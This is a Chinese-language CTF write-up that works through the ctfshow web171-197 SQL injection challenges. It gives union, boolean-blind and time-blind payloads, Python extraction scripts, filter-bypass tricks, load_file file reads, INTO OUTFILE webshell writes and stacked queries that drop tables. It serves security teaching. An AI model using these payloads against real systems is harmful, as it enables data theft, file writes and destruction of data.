web入门SQL注入篇-ctfshow
0x01前置知识
sql注入
因为题目比较多,不让文章内容以及目录太多不方便查看,基础知识已经转到另一篇sql注入了深入浅出sql注入,不过一些知识还是会在下面的题目中提到
sql注入getshell
前提:
- 存在SQL注入漏洞
- web目录具有写入权限
- 找到网站的绝对路径
- secure_file_priv没有具体值(secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。)
- getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过”条件竞争”实现
union select写入
1 | http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/WebShell.php' |
lines terminated by 写入
1 | http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/Webshell.php' lines terminated by '<?php phpinfo() ?>'; |
lines starting by 写入
1 | http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>'; |
fields terminated by 写入
1 | http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>'; |
2.bypass技巧
通用绕过
大小写绕过,双写绕过
注释符(关键字绕过)
比如用unio<>n
代替union,用se/**/lect
代替select
绕过注释符
我们可以用”||”1、” or “1”=”1,甚至是”union select 1,2,”3进行闭合
绕过空格
编码绕过:%20 %09 %0a %0b %0c %0d %a0 %00
1 | 内联注释:/**/ /*字符串*/ |
括号绕过:即添加括号代替空格,比如我们的正常语句为SELECT 用户名 FROM
sheet1``,现在我们就可以改成SELECT(用户名)FROM(
sheet1)
绕过引号
转为16进制字符串,这样就不用使用引号
绕过逗号
from to
盲注的时候为了截取字符串,我们往往会使用substr(),mid()。这些子句方法都需要使用到逗号,对于substr()和mid()这两个方法可以使用from to的方式来解决:
1 | select substr(database() from 1 for 1); |
等价于mid/substr(database(),1,1)
使用join
select 1,2等价于select * from (select 1)a join (select 2)b
使用like
select ascii(mid(user(),1,1))=114等价于select user() like ‘r%’,即逐个字符串比较,我们可以暴力破解%前的字符串,直到爆破出select user() like ‘root@localhost’,得到真正的用户名
使用offset
盲注的时候除了substr()和mid()需要使用逗号,limit也会使用逗号,比如语句select * from sheet1 limit 0,1
,这时我们可以使用select * from sheet1 limit 1 offset 0
等效替代
绕过or and xor not
1 | and=&& |
0x02正题
web171
#正常的联合注入
我们先来看一下那个sql语句哈
1 | $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
- 一个SQL查询语句被赋值给变量
$sql
。查询的目的是从名为user
的表中选择username
和password
列的值。 - 查询条件是:用户名不等于
'flag'
,并且id
列的值等于通过 GET 请求传递的参数id
的值。这里存在一些潜在的安全风险,如SQL注入攻击。 - 最后,查询结果将被限制为最多返回一行数据(
LIMIT 1
)。
$_GET['id']
:
- 这是 PHP 中用于从 URL 查询字符串中获取参数值的方法。在这种情况下,它试图获取名为
id
的参数的值。
所以的话这里是不能直接通过搜索flag去拿到flag了,只能老老实实的进行sql注入
id=1
id=2
这里的话就是我们传参的地方
我们先用单引号看看是否存在注入
1.判断是否存在注入
我们用最经典的单引号判断法
在参数后面加上单引号,比如: http://xxx/abc.php?id=1'
如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
如果未报错,不代表不存在 Sql 注入,因也有可能页面对单引号做了过滤
id=1’
这里的话是出现了请求异常,说明可能存在sql注入
2.判断 Sql 注入的类型
通常sql注入的类型分为两种类型,字符型和数字型
其实所有的类型都是根据数据库本身表的类型所产生的,在我们创建表的时候会发现其后总有个数据类型的限制,而不同的数据库又有不同的数据类型,但是无论怎么分常用的查询数据类型总是以数字与字符来区分的,所以就会产生注入点为何种类型。
以使用经典的 and 1=1 和 and 1=2 来判断
id=1 and 1=1–+页面依旧正常运行,继续下一步
id=1 and 1=2–+页面正常运行,说明可能不是数字型,我们然后按字符型的进行判断一下
id=1’ and ‘1’=’1’–+页面正常运行,继续下一步
id=1’ and ‘1’=’2’–+页面返回为空,确定是字符型注入
3.查询字段数
1’ order by 3–+页面正常
1’ order by 4–+页面报错
所以字段数是3
4.寻找回显位置
-1’ union select 1,2,3–+
可以看到ID,用户名和密码都是回显位置,都可以拿来进行注入
这里为什么用-1而不是1呢?
因为id=-1的话在数据库中是没有结果的,正常的数据库都是从1开始排列的,这里的话我们需要用-1保证前面的查询查不出数据以确保后面的联合查询能正常查询,假如我们用1的话,运行结果就是
这里会把前面的1的查询结果也反馈出来,这样有时候会影响我们的观看,所以直接用-1去筛除掉前面的查询
5.查询数据库
我们选定3作为我们的注入点
-1’ union select 1,2,database()–+
6.查询表名
-1’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = ‘ctfshow_web’)–+
7.查询表中列名
-1’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = ‘ctfshow_user’)–+
8.查询列中数据
因为这里的话是id,username和password,猜测username中应该有一个flag字段,而对应的password字段就是flag的值
-1’ union select 1,2,password from ctfshow_user where username = ‘flag’ –+
或者也可以用
-1’ union select 1,username,password from ctfshow_user where username = ‘flag’ –+
这里的话可以看到用户名就是flag,而密码就是我们flag的值,这里为什么要写出来这步呢,下面就知道了
web172
#username中的flag绕过
题目的话是在SELECT模块的无过滤2
先进行测试一下
其实是和171是一样的,只不过字段数变成2了
然后这里查出来是两个表
先查第一个表ctfshow_user
-1’ union select 1,(select password from ctfshow_user where username=’flag’)–+
那就是在第二个表了
-1’ union select 1,(select password from ctfshow_user2 where username=’flag’)–+
这里的话有一个点我们要注意,就是那个返回逻辑
这里的话是对返回结果里的username进行了一个过滤,具体是怎么样一个运行结果呢?我们测试一下
-1’ union select username,(select password from ctfshow_user2 where username=’flag’)–+
这里可以看到当我们尝试将username的值返回的时候,因为username就是flag,所以会在返回逻辑中被过滤,所以这里会报错,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag
web173
#绕过flag过滤
题目的话是在SELECT模块的无过滤3
简单测试一下字段数和注入位置
字段数为3,回显位置为ID,用户名和密码
这道题有三个表
-1’ union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=’ctfshow_web’)–+
三个表的列名都是一样的,id,username和password,那就试着一个个找一下
最后发现flag在ctfshow_user3中
-1’ union select 1,2,(select password from ctfshow_user3 where username=’flag’)–+
然后直接拿到flag了
但是其实这道题是过滤了返回结果中的flag字段的,用-1’ union select id,username,password from ctfshow_user3 where username=’flag’ –+可以看到答案给过滤了,因为恰好我们的flag的值是以ctfshow{}的格式出现的,所以我们上面的语句并不会碰上过滤,如果我们需要返回username的话,我们需要用hex函数将username的flag转换成16进制(使用hex或者使用reverse、to_base64等函数加密)
‘ union select id,hex(username),password from ctfshow_user3 where username=’flag’–+
666C6167解密出来就是flag
web174
#布尔盲注
题目的话是在SELECT模块的无过滤4
测试到字段数为2,但是后面的联合查询都没返回结果
一开始没看到那个返回逻辑,当作黑盒测试去做了,所以下面就是我自己的分析:这里我们还是可以看到结果是不一样的,猜测过滤了返回的内容,为什么呢?因为我们确定了我们的字段数是2,在两个测试中第一个是百分之百会出现回显的,但是这里没有出现回显也没报错,以此也可以推断出这里是过滤了返回内容,而且过滤的返回内容可能包含数字,然后我们在返回逻辑中也看到了过滤,我们来分析一下
1 | //检查结果是否有flag |
preg_match匹配返回结果中包含flag或数字的内容,就是过滤了返回结果中的数字和flag
这里可以看到id=2的时候密码是111也就是有数字,那我们输入id=2试一下
这里id=2没报错,说明是有数据的,但是这里显示无数据,就是被过滤了
所以这里的话是打不了正常的联合注入了,因为内容都被过滤了,根据上面我进行的两个测试不同的结果,所以我们可以试一下盲注,通过回显的不同去查询数据库,表名,表中列名,数据
盲注的话手工会特别繁琐,所以我们用脚本去打
布尔盲注脚本
(这个脚本相对来说适合学习,可以看看190的脚本,这个更适合用来注入)
1 | import requests |
运行结果
这里还有一种方法
REPLACE替换
用replace替换数字成其他的字符,然后再替换回去即可
先贴一个替换字符的脚本
1 | t = 'password' |
payload:
1 | ' union select to_base64(username),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','A'),'1','B'),'2','C'),'3','D'),'4','E'),'5','F'),'6','G'),'7','H'),'8','I'),'9','J') from ctfshow_user4 --+ |
这里的话对password的字符中的数字替换成字母,这样返回的时候就不会被返回逻辑匹配到,拿到flag后再把里面的替换字母换回来就行
不过这里最好的话是在替换字符前后加上一些标志性的字符代表这是被替换后的字符,不然会混淆
web175
#时间盲注
1 | //检查结果是否有flag |
先看返回逻辑
- 正则表达式/[\x00-\x7f]/i
[\x00-\x7f]
:该范围表示所有 ASCII 字符,从 0(\x00
)到 127(\x7f
)。/i
:这个修饰符表示匹配不区分大小写(在这个特定的范围中没有实际影响,因为范围本身与大小写相关)。
正常的注入应该是不可以打的,看看跟上面一样试一下布尔盲注
我们先测试一下成功回显和失败回显
这种是成功回显
这种是失败回显,判断是两个字段
1’ union select 1,2–+
但是后面做的时候发现布尔盲注打不了,我们试一下时间盲注
时间盲注就是通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
适用场景:页面不会返回错误信息,只会回显一种界面
官方理解:利用sleep()或benchmark()等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)语句结合使用,通过页面的响应时间来判断条件是否正确。if(expr1,expr2,expr3)含义是如果expr1是True,则返回expr2,否则返回expr3。
1 | 1' and sleep(6)--+ |
发现页面确实延时了6秒,那就学一下时间盲注的脚本吧
关于时间盲注的payload在文章上面有哈,这里就不赘述了,我们这里主要讲布尔盲注和时间盲注在注入成功时候的判断
1 | time1 = datetime.datetime.now() |
这里的话对注入前后进行一个时间的记录,然后通过判断时间差去判断是否注入成功
因为上面的布尔盲注的话是写了完整的注入脚本的,所以我这里就简略写了
最好把sleep的时间拉长一点,不然容易出错
时间盲注脚本
1 | import requests |
这里另外讲一个写木马的情况、
先给出payload
1 | ' union select username, password from ctfshow_user5 into outfile '/var/www/html/flag.txt' %23 |
通过 SQL 查询将用户表中列出的用户名和密码写入服务器的一个文件flag.txt
into outfile命令
INTO OUTFILE
是一个SQL命令,用于将查询结果写入文件。
然后我们访问这个flag.txt
过滤的sql注入
这里的话会反复去写payload,因为想锻炼一下自己的注入语句的编写能力,所以会显得繁琐赘余
web176
#select绕过
开始过滤了
正常的页面,但是这里没给过滤了什么,只能自己测试了
测试过程
1 | 1'闭合发现出错,说明是存在注入点且没有过滤单引号 |
绕过select过滤
可以用双写或者大小写绕过关键字(不过这里学弟反馈好像双写是无法去绕过的)
1 | -1' union sElect 1,2,3--+成功回显,我们选一个进行注入就行 |
web177
#绕过注释符和空格
直接给测试和注入过程了
1 | 1'和上题一样没过滤单引号 |
绕过注释符过滤
注释符可以用%23进行绕过
绕过空格过滤
空格可以用编码或者联合注释符(/**/)去绕过
常见的可以代替空格的方法
%0c换页符
%09制表符
1 | 1/**/and/**/1=1%23这样正常回显,我们继续 |
176-177也可以用万能密码
万能密码
1 | 1'/**/or/**/'1'='1'%23 |
web178
#绕过空格和*号
1 | 1'没发现过滤单引号 |
万能密码也可以用,但要注意过滤
web179
#绕过空格plus
1 | 1'没过滤单引号 |
万能密码一样行得通
web180
#绕过%23注释符,用单引号闭合
这里好像把注释的符号过滤了,那我们只能试着去闭合他了
1 | 1'%0cand'1'='1 |
我这里试了一下burp suite的fuzz测试
burpsuite Fuzzing
Burpsuite Fuzzing主要是通过Burpsuite Intruder模块
,这好比是一把枪,通过特定设置把子弹(payload)
射向目标(target-site)
。
我们先去找一下这个所谓的子弹
Fuzzdb:https://github.com/fuzzdb-project/fuzzdb
这是一个fuzz测试的payload库,上面有大量的测试payload,非常实用,我们本次sql注入就用到它。
然后我们去进行fuzzing测试
用bp抓包,发送到intruder爆破模块,设置变量和payload
导入我们刚刚下载的fuzzing中的payload
目录下的xplatform.txt,然后就可以进行爆破了,然后可以根据response包去判断哪些字符是被过滤了哪些字符能用
web181
#万能密码及其变式解题
这里的waf终于给出了语句
1 | //对传入的参数进行了过滤 |
分析一下过滤了什么
空格(
)星号(*
)制表符(\x09
)换行符(\x0a
)回车符(\x0b
)换页符(\x0c
)空字符(\x00
)回车换行符(\x0d
)非断行空格(\xa0
)数字符号(\x23
或 #
)单词 file
单词 into
单词 select
知道过滤了什么就试着去注入一下吧
1 | 1‘回显出错,判断存在注入点 |
web182
1 | //对传入的参数进行了过滤 |
这次flag被禁了,不过万能密码还是可以做的
web183
#布尔盲注
1 | //拼接sql语句查找指定ID用户 |
黑名单增加了or和and还有我们的空字符x00
这里的话会返回我们用户表的记录总数,我们可以试着查一下我们的ctfshow_user表,注意是post传参
然后我们再试着查询一个不存在的表1
发现这里是0,然后我们可以知道这里的话我们如果查询到正确的数据,那么就会返回一个具体的内容,如果查询的是不存在的数据就会返回0,很符合我们盲注的特点
这题的解法是在已知表名的情况下实现的,布尔盲注思路:利用布尔值,对 flag 进行挨个判断就行
脚本
1 | import requests |
最后的结果就是我们想要的flag
web184
#RIGHT JOIN 关键字注入
#盲注绕过
1 | //拼接sql语句查找指定ID用户 |
这次的过滤更多了,我们的sleep函数和where这些都被过滤掉了,那我们先正常看看页面的回显信息
可以看到和上一题的回显还是一样的,不过我们上一个题目的布尔盲注的脚本已经打不通了,这里我们用一个新方法,就是左右连接
方法一:左右连接
讲到这个,我们首先也是先要理解概念,这里我进行分布解析(因为这段时间有点忙,数据库还没搭出来,所以我先用其他师傅的图片进行讲解)
join连接
SQL join 用于把来自两个或多个表的行结合起来。
join 为连接查询 ,能将多个表连接一起查询
如果我们分别进行查询两个表的内容
连接查询的七种用法
INNER JOIN | 返回两个表中满足连接条件的记录(交集)。 |
---|---|
LEFT JOIN | 返回左表中的所有记录,即使右表中没有匹配的记录(保留左表)。 |
RIGHT JOIN | 返回右表中的所有记录,即使左表中没有匹配的记录(保留右表)。 |
FULL OUTER JOIN | 返回两个表的并集,包含匹配和不匹配的记录。 |
CROSS JOIN | 返回两个表的笛卡尔积,每条左表记录与每条右表记录进行组合。 |
SELF JOIN | 将一个表与自身连接。 |
NATURAL JOIN | 基于同名字段自动匹配连接的表。 |
那我们这里讲一下右连接
right join右连接
RIGHT JOIN 是 SQL 中的一个连接关键字,用于从多个表中提取数据。
RIGHT JOIN 会返回右表中的所有记录,即使左表中没有匹配的记录
- 基础语法
1 | SELECT column_name(s) |
解析代码
- able1:左表。
- table2:右表,
RIGHT JOIN
会保留该表的所有记录。 - ON table1.column_name=table2.column_name:指定连接条件,通常是两个表的共同字段。
在sql注入中的利用
在sql注入中 有的过滤会把where给过滤掉,同时if的判断也不太好用
那么就可以用join 后面的on 来进行我们想要的判断,这道题就是我们可以拿来做的一道左右连接的题目
payload:
1 | tableName=`ctfshow_user` as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46)) |
先解析一下这个payload:
tableName=
ctfshow_useras b
: 这部分应该是一个表的引用,表示我们正在选择名为ctfshow_user
的表,并将其别名为b
。在 SQL 查询中,使用别名可以使查询更简洁易读。right join
: 这是一个 SQL 连接操作,表示我们将进行一个右连接(RIGHT JOIN)。右连接返回右侧表(在此例中为ctfshow_user
)中的所有记录,以及与左侧表(如果有的话)匹配的记录。如果左侧表中没有匹配的记录,结果中仍会包含右侧表中的记录,但左侧表的字段会返回 NULL。on substr(b.pass,1,1) regexp(char(46))
: 这是连接条件,表示我们希望根据某个条件来连接这两个表。具体来说:substr(b.pass, 1, 1)
: 这个函数从b.pass
字段中提取字符串的第一个字符。regexp(char(46))
: 这个条件使用正则表达式进行匹配。char(46)
返回 ASCII 值为 46 的字符,即点(.
)。因此,这里是在检查b.pass
字段的第一个字符是否为点(.
)。
贴一个Y4tacker师傅的代码
1 | import requests |
有一点奇怪的问题,就是说,在进行测试的时候,得到$user_count = 22;
作为筛选条件,但是实际上用代码跑flag的时候,却是用$user_count = 43;
作为筛选条件。这是为什么呢?我一开始也不是很明白,后面查阅了很多wp才找到相关的解释
我们先写一个简单的payload
这里是用的左连接哈,其实和右连接没什么区别
1 | tableName= ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42))) |
先解析一下代码
表和别名:
使用了同一个表
ctfshow_user
并为这个表创建了两个别名:
a
作为左表别名b
作为右表别名
**左连接 (
left join
)**:LEFT JOIN
保留左表(别名为a
)中的所有记录。- 如果右表(别名为
b
)有匹配的记录,则显示匹配记录;如果没有匹配记录,则为右表的列显示NULL
。
连接条件:
a.pass regexp(CONCAT(char(99),char(116),char(42))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
- `char(99)`、`char(116)` 和 `char(42)` 分别对应字符 'c'、't' 和 '*'。
- `CONCAT(char(99),char(116),char(42))` 合并为字符串 'ct*'。
- `a.pass regexp('ct*')` 使用正则表达式匹配,检查 `a.pass` 是否包含与这个正则表达式匹配的模式。

这里可以看到是成功执行了的
在上面的解析中,我们只需要关注一句话:
`LEFT JOIN` 保留左表(别名为 `a`)中的所有记录,如果右表(别名为 `b`)有匹配的记录,则显示匹配记录;如果没有匹配记录,则为右表的列显示 `NULL`。
那我们来分析一下这个43:
左连接,保留左表中的数据,22条。
对于连接条件on a.pass regexp(‘ct*’) ,在a中22条数据肯定有一条是满足该条件的,并且a是左表,所以筛选出来的这条数据对应的b表数据(22条)都满足条件。,剩下的a中21条不满足on,所以对应的b的22条也不满足。
a中满足条件的一条数据与b表所有数据做全连接,22条。a表还剩21条,对于的b表不满足,全部为null,21+22=43。
### 方法二:十六进制构造盲注
where也过滤了,用having代替;
引号被过滤了,那么字符串部分可以采用16进制绕过
脚本
```python
import requests
url = "http://7c144dfc-2962-414f-9d0c-efaa4064f85a.challenge.ctf.show/select-waf.php"
letter = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
#将输入的字符转化成十六进制
#通过迭代字符串 s 中的每个字符,用 ord() 获得其 ASCII 值,然后用 hex() 转换为十六进制,并去除前缀 0x,最后拼接成一个连续的字符串。
flag = "ctfshow{"
for i in range(0,100):
for j in letter:
temp_flag = flag+j
data ={
"tableName":"ctfshow_user group by pass having pass like ({})".format("0x"+asc2hex(temp_flag+"%"))
}
#print(data["tableName"])
r = requests.post(url=url,data=data)
if "$user_count = 1;" in r.text:
flag += j
print(flag)
break
else:
continue
web185
1 | //拼接sql语句查找指定ID用户 |
这里的话是过滤了数字的,我们可以考虑用一些其他的字符去构造数字,有点像自增rce中的构造
方法:用true构造字符
先进行分析
因为ctfshow{的十六进制是0x63746673686f777b,c 的 ASCII码十六进制是0x63,十进制是90
所以我们看看怎么构造数字
true 等于1 ,false等于0,且 true+true = 2(这点非常重要)用 true 相加可以构造数字
– 构造数字
– 0x63 我们可以写成 false,‘x’,true+true+true+true+true+true,true+true+true
– 用 concat() 进行连接 concat(false,‘x’,(true+true+true+true+true+true),(true+true+true))
– 这样在本地环境中可得 0x63
– 但很可惜,x 使用了单引号(被过滤),所以我们尝试用数字表示 x
–构造字母
–这里的话要用到char()函数,这个函数支持十进制和十六进制
–x的ASCII码在十六进制中是0x78,十进制是120
–所以我们获取x 的方法就是:char(0x78),char(120)
–我们选择构造十进制
–x 的十进制为120,所以我们添加120个true相加就可以了,但是我们也可以把120拆分为1,2,0,然后构造true、true+true、false
–最终获取x
char(concat(true,(true+true),false))
–那么完整的ctf的十六进制构造结果就是
concat(false,char(concat(true,(true+true),false)),(true+true+true+true+true+true),(true+true+true),(true+true+true+true+true+true),(true+true+true+true),(true+true+true+true+true+true),(true+true+true+true+true+true))
但是发现其实跑不出来,为什么,因为ctf的十六进制0x637466为字符串,mysql只支持十六进制的数字,不支持字符串(这一点要记住)
–那么我们试一下十进制的构造
–ctf中c的十进制是99,t的十进制是116,f的十进制是102
–concat(char(concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))
所以我们构造payload
1 | tableName=ctfshow_user group by pass having pass regexp(concat(char(concat((power((true+true+true),(true+true))),(power((true+true+true),(true+true))))),char(concat(true,true,(true+true+true+true+true+true))),char(concat(true,false,(true+true))))) |
//原payload为:tableName=ctfshow_user group by pass having pass regexp(ctf)
所以我们的脚本
true构造payload注入脚本
1 | import requests |
web186
1 | 查询语句 |
用185的脚本并不影响这道题
个人认为 185 的预期解是用位运算符,因为 186 屏蔽了位运算符,等后面得空了再回来补这个位运算的做法
web187
#md5碰撞注入
题目终于变了
1 | //拼接sql语句查找指定ID用户 |
我们先分析一下
$password = md5($_POST[‘password’],true);
md5(string,raw)函数
在 PHP 中,md5()
函数可以接受两个参数。第一个参数是要计算散列值的字符串,而第二个参数是一个布尔值,用于指定是否返回原始二进制格式的散列值。
- 当第二个参数设置为
false
或者不提供时,md5()
函数将返回一个32位的十六进制散列值(即字符串形式的散列值)。 - 当第二个参数设置为
true
时,md5()
函数将返回一个16字节(128位)的二进制格式的散列值。这个二进制格式的散列值不是以文本形式表示的,而是以字节的形式表示。
md5看似是非常强加密措施,但是一旦没有返回我们常见的16进制数,返回了二进制原始输出格式,在浏览器编码的作用下就会编码成为奇怪的字符串(对于二进制一般都会编码)。
我们使用md5碰撞,一旦在这些奇怪的字符串中碰撞出了可以进行SQL注入的特殊字符串,那么就可以越过登录了。
在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop
所以这里的话我们采用md5碰撞的绕过
md5(“ffifdyop”,true) => ‘or’6É]é!r,ùíb
可以看到这里是有or的,所以我们传入password为ffifdyop
这时候查询语句就变成了
1 | $sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b'; |
payload
1 | username=admin |
点击登录后发现登录成功,但是并没有看到我们的flag,我们抓包看看
果然在response包中不过好像数字型的打不了,应该是注入类型不对
web188
#sql弱比较
1 | 查询语句 |
payload是:username=0 password=0
原因是:
查询语句的where判断是username={$username}
,并没有引号包裹,那么就可以输入数字了。
在官方手册中,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。
sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==0a,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。(具体的在web187中有提到)
然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。
web189
#布尔盲注
题目提示flag在api/index.php文件中
1 | 查询语句 |
这里的话应该是让我们去读取那个index.php文件,且注入点在username,那我们具体分析一下过滤了的字符有哪些
select
,and
,or
,into
,from
,where
,join
,sleep
,benchmark
: 这些都是 SQL 中的关键字\*
: 匹配星号*
,常用于选择所有列。\x09
,\x0a
,\x0b
,\x0c
,\x0d
: 这些是对应于不同类型的空白字符的十六进制表示,分别是水平制表符和换行符等。\xa0
: 匹配非断行空格(NBSP),可能用于绕过某些过滤。\x00
: 匹配空字符,通常用于字符串终止。\x26
: 匹配字符&
,在某些情况下可能用于构造恶意的 SQL 查询。\x7c
: 匹配字符|
,也可能在某些注入中使用。
这里的话可以看到联合注入和时间盲注(sleep和benchmark)应该是行不通的了,into被过滤了我们不能写入文件
我们考虑一下布尔盲注的做法,先看看页面回显
根据我们sql里的弱比较,当我们输入username为0的时候,还是会正常匹配所有开头不是数字或者为0的字符串和数字0,所以
username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误)
username=1、password=0时,返回“查询失败”。(说明用户不存在)
因为我们这里的and和or都被过滤了,所以我们正常的1 and xxxx这种注入用不了,所以我们选用第二个’查询失败’的条件去进行注入
payload:
1 | username=if(substr(load_file('/var/www/html/api/index.php'),{i},1)='{j}',1,0) |
读取文件load_file()函数
LOAD_FILE()
函数是 MySQL 数据库中的一个函数,用于读取服务器上的文件内容。这个函数可以返回指定文件的内容,前提是 MySQL 用户具有访问该文件的权限,并且 MySQL 服务器能够读取该文件。
基础语法
1 | LOAD_FILE(file_name) |
file_name
:要读取的文件的完整路径,通常需要用单引号括起来,例如'C:/path/to/file.txt'
。
但是这里还需要注意一个点,就是在index.php中我们并不知道flag在哪个位置,所以我们要一个个去试了,这里我直接给出其他师傅的脚本,做了一点点改动
脚本
1 | import requests |
布尔盲注
web190
#无过滤的布尔盲注
开启不饿盲注的章程
首先可以看到username多了两个单引号包围,应该是字符型注入,然后我们分析一下返回逻辑,密码只能是数字且密码要等于里面的密码
1 | username=admin |
可以看到正常的回显是显示密码错误,我们试一下布尔盲注,先测试一下
因为我们已知我们的数据库名是ctfshow_web,长度是11,所以我们试一下
1 | username=admin' and length(database())=11# |
说明当我们的username的判断条件是正确的时候,就会显示只是密码错误,由此我们直接给出脚本
我这里写简略一点,具体的脚本已经在前面的题给过了
爆数据库名
1 | import requests |
爆表名(这个可以直接爆出所有的表名)
1 | import requests |
爆字段
1 | import requests |
爆数据
1 | import requests |
这里的话我设置了限制条件,这样的话就不会一直跑循环
web191
#过滤ascii
开始有过滤了
绕过ascii函数
过滤了ascii,可以用ord方法代替
ord()与ascii()的区别:
ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。
如果字符不是多字节字符,则ORD()和ASCII()函数返回相似的结果;如果字符是多字节字符,则ASCII()只返回该字符最左侧的一个字节的ASCII值。
然后脚本是一样的了,只需要把ascii换成ord就行
1 | import requests |
不过这道题我后来换成去掉外层的ascii相关的函数,只用substr函数去进行注入
1 | import requests |
发现爆出来的数据库名这些都是大写的,为什么呢?
- MySQL:
- 数据库和表名:在 Unix/Linux 系统中,数据库和表名是大小写敏感的;而在 Windows 系统中则是不敏感的。
- 列名:列名通常是不敏感的。
- 字符串比较:默认情况下,字符串比较是大小写不敏感的,但可以通过设置排序规则来使其变为大小写敏感。
目前来看猜测是这样的
web192
#绕过ord,ascii
这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。
设置字符串集合flagstr = “}{abcdefghijklmnopqr-stuvwxyz0123456789_”
然后写payload
1 | import requests |
web193
#绕过substr
这次是轮到绕过substr函数了
绕过substr方法
(我直接把上面的知识点搬下来了)
函数替换:如果程序过滤了substr函数,可以用其他函数代替:效果与substr()一样
left(str,index)从左边第index开始截取
right(str,index)从右边第index开始截取
substring(str,index)从左边index开始截取
mid(str,index,len)截取str从index开始,截取len的长度
lpad(str,len,padstr)
rpad(str,len,padstr)在str的左(右)两边填充给定的padstr到指定的长度len,返回填充的结果
这里我们用left去做,但是要注意的一个点是,left截取的不是单一字符而是字符串,所以我们需要设置一个变量去对接
我这里打了很多遍都没打通,后来才发现是列名变了,所以提醒大家不要想当然,要一步步去做
1 | import requests |
web194
过滤了left和right,substring,但是还是有其他方法可以做的
1 | import requests |
这里用mid去做,但是有一个点要注意就是我们的payload是从1开始的不是从0开始
mid(str,index,len)截取str从index开始,截取len的长度
这里是从index开始,并不是从第index开始
堆叠注入
web195
#update更新pass实现堆叠注入
这里有一个小细节就是我们的查询语句username后面加了一个分号,所以我们堆叠注入的末尾其实可以不用加分号了
过滤了select,单双引号也被过滤,没有报错提示。
没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。
根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。
通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
所以我们尝试着把我们的密码改成1,这里用update去更新我们的pass
1 | username=1;update`ctfshow_user`set`pass`=1&password=1 |
提交两次即可,第一次触发修改,第二次的话我们用username=0去登录,也就是我们sql里面的弱比较原则
web196
#select绕过password检测
提示用户名不能太长
这里限制了用户名的长度不能超过16位
这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是
忘记改了。不过se1ect也并没有被过滤,感觉纯粹就是没有加select的过滤~)
非预期解:
这里的话我们用select去绕过password的检测
判断条件满足的设定是$row[0]==$password,row 存储的是结果集中的一行数据,row[0]就是这一行的第一个数据。既然可以堆叠注
入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。
那么可以输入username为1;select(9),password为9。当row 获取到第二个查询语句 select(9) 的结果集时,即可获得row[0]=9,那么password输入9就可以满足条件判断。同样输入其他密码也可以
官方的预期解:
payload
1 | username=0(用弱比较去匹配用户名) |
web197
#对表进行操作堆叠注入
这里的话是把select过滤了的,没办法用上一题的做法了
这里我们只需要满足输入的账号密码正确就可以,因为这里可以堆叠注入,我先给payload
payload:
1 | username=0;drop table ctfshow_user; create table ctfshow_user(`username` varchar(255),`pass` varchar(255)); insert ctfshow_user(`username`,`pass`) values(1,2) |
理解一下这段代码
这里的话是我们删掉了原来的ctfshow_user表,然后新建一个同名的表并设置里面的两个字段的值,设置好后我们访问登录就可以登录成功了
- varchar(255)
VARCHAR
表示“可变长度字符”(Variable Character),意味着可以存储长度不固定的字符串。(255)指定了这个 VARCHAR
字段可以存储的最大字符数。
这里其实用alter关键字去做也是可以的但是这里就不演示了
alter关键字
SQL 中,ALTER
是一个关键字,用于修改现有数据库对象的结构。具体来说,它可以用于更改表的结构,例如添加、删除或修改列。
ALTER TABLE
ALTER TABLE命令添加,删除或修改表中的列。
